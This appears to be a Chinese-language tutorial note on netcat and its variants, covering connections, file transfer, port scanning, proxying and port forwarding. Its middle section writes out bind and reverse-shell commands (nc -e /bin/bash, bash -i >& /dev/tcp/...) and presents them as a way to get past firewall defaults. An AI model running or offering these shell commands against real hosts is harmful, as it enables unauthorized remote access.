netcat
nc 是Linux系统中非常强大的网络工具,可以轻松实现对主机的嗅探和简单但强大的C&C服务器
nc版本
nc有多个不同的版本:
- netcat-tradional。最早的版本,Kali Linux中默认的版本。有 -e 选项用作反弹shell。1 2
- netcat-openbsd。Ubuntu中默认的版本,没有-e选项。1 2
- ncat. Nmap作者重写的版本,Centos、RedHat默认版本,已经集成在nmap中。1 2
- socat. 支持SSL/TLS,与原版很大不同。2
- cryptcat. 使用twofish加密传输。2
- sbd. Secure BackDoor. 带加密。2
- netrw。针对文件传输做了加强,带文件校验以防止篡改。2
常见应用场景
建立连接 1 2
- 服务器端 -l 监听模式。第一种nc版本需要启用-p来指定监听端口。
ncat -l <port>
- 客户端
ncat <ip> <port>
连接成功后,两端可以进行进行文字交流。此时连接是基于TCP协议,如果需要UDP协议,可以在两端都使用-u参数。
基本方式 1 2
-e 将传入信息发送到指定的程序中执行
以下命令将监听本地端口,将收到的信息发送到/bin/bash中执行。客户端只需要按以往方式连接即可将指令发送到远端,同时获取执行结果
ncat -l -e /bin/bash <port>
持续监听 1
-k 客户端断开时,服务器继续运行
ncat -lk -e /bin/bash <port>
这种方式的最大问题是,服务器往往处于内网中,防火墙默认拒绝所有外来连接。所以实用性并不高。
反弹shell 1 2
将服务器和客户端的角色调转,发送命令者为服务器,接收命令者定期连接指定地址和端口来接收命令。这样可以一定程度规避防火墙的默认策略。
外网命令发起者
ncat -l <port>
内网命令接受者
-w 等待连接的时间(秒)
ncat -w 10 -e /bin/bash <ip/domain> <port>
不支持e选项的反弹shell
外网命令发起者
如果是ncat
ncat -l <port>
如果是第二类nc(不带-e选项的版本)
nc -lp <port>
内网命令接收端
bash -i >& /dev/tcp/<ip><port> 0>&1
上述命令将bash和tcp连接关联起来[[redirection in Linux1]]
文件传输 1 2
文件接收端
ncat -l 2333 > hello.txt
文件发送端
ncat www.sqlsec.com 2333 < hello.txt
或者采用相反的方式也可以传输
文件接收端
ncat www.sqlsec.com 2333 > hello.txt
文件发送端
ncat -l 2333 < hello.txt
这里ncat只是建立连接,发送和接收全部在于重定向的方向。
如果使用dd命令,可以直接实现远程复制磁盘。由于nc没有应用层协议,所以在大量文件处理传输时相比应用层协议由巨大优势2
端口扫描1 2
只有原始版本的nc支持扫描(上文提到的第一种nc)。也可以用于判断某个端口是否可达。
-n 使用ip地址,不用DNS -z 只扫描而不发送任何数据
nc -n -z 10.211.55.14 20-25
nc -n -z 10.211.55.14 80
如果需要测试UDP协议,要指定-u选项2。-w可以设定超时时间,否则需要长时间等待2。
使用代理服务器2
openbsd版本nc可以使用-x和-X来设定代理服务器来进行连接,其中-X指定代理服务器类型,-x表明IP地址和端口。
nc -X 5 -x 127.0.0.1:9050 -q 3 -v program-think.blogspot.com 443
端口转发2
mkfifo nc_pipe
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe
这样本地的1234和5678端口的数据就能实现互通。
Check a port is open 3
nc -zv <your-ip-address> <your-port-number>